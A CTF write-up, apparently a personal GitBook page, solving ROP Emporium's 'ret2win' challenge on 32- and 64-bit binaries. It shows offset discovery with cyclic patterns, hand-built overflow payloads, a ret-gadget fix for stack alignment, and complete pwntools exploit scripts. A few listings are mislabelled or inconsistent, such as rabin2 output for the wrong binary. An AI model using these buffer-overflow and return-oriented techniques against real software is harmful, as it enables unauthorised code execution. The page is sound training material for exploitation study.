Skip to content

Latest commit

 

History

History
598 lines (419 loc) · 17.2 KB

File metadata and controls

598 lines (419 loc) · 17.2 KB
description
09/22/2023

☺️ ret2win

Introduction

A return-to-win, or ret2win is a technique where you are attempting to divert execution to an outbound function not contained within main().

Overwrite the return address of main() to another function and ret2win.

Challenge

{% embed url="https://ropemporium.com/challenge/ret2win.html" %}

x86 Exploitation

Enumeration

file:

{% code overflow="wrap" %}

file ret2win32                                                                                  ret2win32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=e1596c11f85b3ed0881193fe40783e1da685b851, not stripped

{% endcode %}

  • 32-bit
  • Dynamically linked to libc
  • Not stripped

checksec:

{% code overflow="wrap" %}

Arch:     i386-32-little                                                                                                         RELRO:    Partial RELRO                                                                                                          Stack:    No canary found                                                                                                        NX:       NX enabled                                                                                                             PIE:      No PIE (0x8048000)

{% endcode %}

  • Partial RELRO
  • NX Enabled

rabin2:

rabin2 -I ret2win

arch     x86
baddr    0x400000
binsz    6739
bintype  elf
bits     64
canary   false
injprot  false
class    ELF64
compiler GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
crypto   false
endian   little
havecode true
intrp    /lib64/ld-linux-x86-64.so.2
laddr    0x0
lang     c
linenum  true
lsyms    true
machine  AMD x86-64 architecture
nx       true
os       linux
pic      false
relocs   true
relro    partial
rpath    NONE
sanitize false
static   false
stripped false
subsys   linux
va       true

Reversing

main():

undefined4 main(void)

{
  setvbuf(stdout,(char *)0x0,2,0);
  puts("ret2win by ROP Emporium");
  puts("x86\n");
  pwnme();
  puts("\nExiting");
  return 0;
}

pwnme():

void pwnme(void)

{
  undefined buffer [40];
  
  memset(buffer,0,0x20);
  puts(
      "For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffe r!"
      );
  puts("What could possibly go wrong?");
  puts(
      "You there, may I have your input please? And don\'t worry about null bytes, we\'re using read ()!\n"
      );
  printf("> ");
  read(0,buffer,0x38);
  puts("Thank you!");
  return;
}

EBP Offset:

EBP address: 0x080485ad

ret2win():

void pwnme(void)

{
  undefined buffer [40];
  
  memset(buffer,0,32);
  puts(
      "For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffe r!"
      );
  puts("What could possibly go wrong?");
  puts(
      "You there, may I have your input please? And don\'t worry about null bytes, we\'re using read ()!\n"
      );
  printf("> ");
  read(0,buffer,56);
  puts("Thank you!");
  return;
}
  • 32-byte buffer
  • ;)

What about our offset from EBP?

  • Hex 0x2C is 44 converted to decimal

Debugging with pwndbg

Let's find out which characters made it into the instruction pointer and at what point it began overwriting data:

cyclic 100

Sent to the input:

aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

  • 'laaa' overwrote the EIP

Confirming EBP offset:

cyclic -l laaa
Finding cyclic pattern of 4 bytes: b'laaa' (hex: 0x6c616161)
Found offset at offset 44

This ended up crashing our program because of a segmentation fault. This is simply because we exceeded the 32-byte buffer and wrote outside of the memory allocated.

Further confirming our findings above of 44.

So, at 44-bytes, we are able to overwrite the instruction pointer (EIP).

Manual Exploitation

Grabbing the address of pwnme():

disass pwnme
 0x080485ad <+0>:     push   ebp
  • 0x080485ad
  • We now will place this in little-endian format for our payload
\xad\x85\x04\x08

Utilizing python3, we can jump to pwnme() once more and see that in the result of our execution:

python3 -c "import sys; sys.stdout.buffer.write(b'A'*44+b'\xad\x85\x04\x08')"  > payload

Send payload to target binary:

./ret2win32 < payload

How cool is that? Now, let's get that flag.

Utilizing the similar method above, let's grab the address of ret2win():

disass ret2win 
Dump of assembler code for function ret2win:
   0x0804862c <+0>:     push   ebp
  • 0x0804862c
  • Placing in little-endian format for our payload
\x2c\x86\x04\x08

Utilizing python3, we can jump to ret2win() once more and see that in the result of our execution and obtain our flag:

python3 -c "import sys; sys.stdout.buffer.write(b'A'*44+b'\x2c\x86\x04\x08')"  > payload

Result

Automated Exploitation with pwntools

exploit.py:

from pwn import *

# SETUP

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
            return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
         return process([exe] + argv, *a, **kw)

# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())

# Target binary
exe = './ret2win32'

# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)

# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'

# ===========================================================
#                     EXPLOIT GOES HERE
# ===========================================================

io = start()

# How many bytes to the instruction pointer (EIP)?
padding = 44

payload = flat(
    b'A' * padding,    # Padding up to EIP
    elf.functions.ret2win # Address of ret2win(): 0x0804862c
)

# Write payload to file
write('payload', payload)

# Send payload to target
io.sendlineafter(b'>', payload)

# Get flag
io.interactive()

Result

x64 Exploitation

Here, we will be following a similar methodology, but will be introducing registers and different instructions into the equation because we are attacking a 64-bit binary!

Stay tuned, you can do it!

Enumeration

file:

{% code overflow="wrap" %}

file ret2win
ret2win: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=19abc0b3bb228157af55b8e16af7316d54ab0597, not stripped

{% endcode %}

  • 64-bit
  • Dynamically linked to libc
  • Not stripped

checksec:

checksec ret2win
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
  • Partial RELRO
  • NX Enabled

Cool, we have a similar attack surface as before.

Reversing

main():

undefined8 main(void)

{
  setvbuf(stdout,(char *)0x0,2,0);
  puts("ret2win by ROP Emporium");
  puts("x86_64\n");
  pwnme();
  puts("\nExiting");
  return 0;

pwnme():

void pwnme(void)

{
  undefined buffer [32];
  
  memset(buffer,0,32);
  puts(
      "For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffe r!"
      );
  puts("What could possibly go wrong?");
  puts(
      "You there, may I have your input please? And don\'t worry about null bytes, we\'re using read ()!\n"
      );
  printf("> ");
  read(0,buffer,56);
  puts("Thank you!");
  return;
}
  • 32-byte buffer
  • But, reading 56-bytes
  • ;)

ret2win():

void ret2win(void)

{
  puts("Well done! Here\'s your flag:");
  system("/bin/cat flag.txt");
  return;
}

RBP Offset:

RBP Address: 0x004006e8

Our EBP offset is 0x28, or 40 in decimal.

Granting us our padding.

Debugging with pwndbg

You will notice that we are now working with 64-bit addresses, x64 instructions, and registers.

Generate a 100-byte cyclic pattern:

cyclic 100
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa

Upon sending this to our input, we will segfault, good.

Furthermore, confirming our padding.

cyclic -l faaaaaaa
Finding cyclic pattern of 8 bytes: b'faaaaaaa' (hex: 0x6661616161616161)
Found at offset 40

Offset found at 40!

Manual Exploitation

Disassemble the target function. In this case, it is ret2win():

disass ret2win
Dump of assembler code for function ret2win:
   0x0000000000400756 <+0>:     push   rbp
  • 0x0000000000400756
  • Now we need to reverse this order via little-endian for our payload
\x56\x07\x40\x00\x00\x00\x00\x00

Utilizing python3, we can jump to ret2win() once more and see that in the result of our execution and obtain our flag:

python3 -c "import sys; sys.stdout.buffer.write(b'A'*44+b'\x56\x07\x40\x00\x00\x00\x00\x00')"  > payload

So initially, I just slapped this address in and redirected the output to a file and what ended up happening is I was diverting execution to ret2win(), but I was crashing right before printing the flag.

Upon examining this within pwndbg, we can see that we are crashing on the movaps instruction.

Sending our payload in pwndbg:

pwndbg> r < payload

As you can see, we are segfaulting on the movaps instruction.

So how do we fix this?

This is all pertaining to stack alignment issues.

This is because the stack MUST be 16-byte aligned before returning to GLIBC functions such as printf() or system() in our case.

Okay, but why?

Some versions of GLIBC will utilize movaps instructions to move data onto the stack in certain functions.

The 64-bit calling convention requires the stack to be 16-byte aligned before a call instruction is to be made.

However, this can be interrupted during a ROP chain execution.

In return, this will cause further calls from that function to be misaligned with the stack, likely causing segmentation faults; crashing the program.

With that said, movaps will issue a protection fault and crash the program as a result of unalignment.

The solution??

Add additional padding to your ROP chain via a ret gadget before returning into a function to skip a push instruction.

Obtaining the ret gadget:

ropper:

ropper --file ret2win --search "ret"
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: ret

[INFO] File: ret2win
0x0000000000400542: ret 0x200a; 
0x000000000040053e: ret; 
  • This means that 0x000000000040053e: ret; is our ret gadget!
\x3e\x05\x40\x00\x00\x00\x00\x00

Continuing with our manual exploit:

We need: padding + ret_gadget + ret2win() address

NOTE: To prevent frustration, the below does not work, view the fix. I always feel it is important to note mistakes throughout my journey.

Using python3 once more (and armed with better knowledge), we can jump to ret2win() once more and see that in the result of our execution and obtain our flag:

python3 -c "import sys; sys.stdout.buffer.write(b'A'*40+b'\x3e\x05\x04\x00\x00\x00\x00\x00 + \x3e\x05\x00\x04\x00\x00\x00\x00')" > payload

For some reason, I cannot get my manual exploit to work. I believe it has something to do with python's sys.stdout.buffer.write() not liking multiple pieces of shellcode??

Yes, I needed to append b' before every new iteration of shellcode.

Here is the fix:

python3 -c "import sys; sys.stdout.buffer.write(b'A'*40 + b'\x3e\x05\x40\x00\x00\x00\x00\x00' + b'\x56\x07\x40\x00\x00\x00\x00\x00')" > payload

Send payload to target:

./ret2win < payload

Result

Automated Exploitation with pwntools

exploit.py:

from pwn import *

# SETUP

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
            return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
         return process([exe] + argv, *a, **kw)

# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())

# Target binary
exe = './ret2win'

# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)

# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'

# ===========================================================
#                     EXPLOIT GOES HERE
# ===========================================================

io = start()

# How many bytes to the instruction pointer (EIP)?
padding = 40
ret = 0x000000000040053e

payload = flat(
    b'A' * padding,
    ret,    # Padding up to EIP
    elf.functions.ret2win # Address of ret2win(): 0x0804862c
)

# Write payload to file
write('payload', payload)

# Send payload to target
io.sendlineafter(b'>', payload)

# Get flag
io.interactive()

Result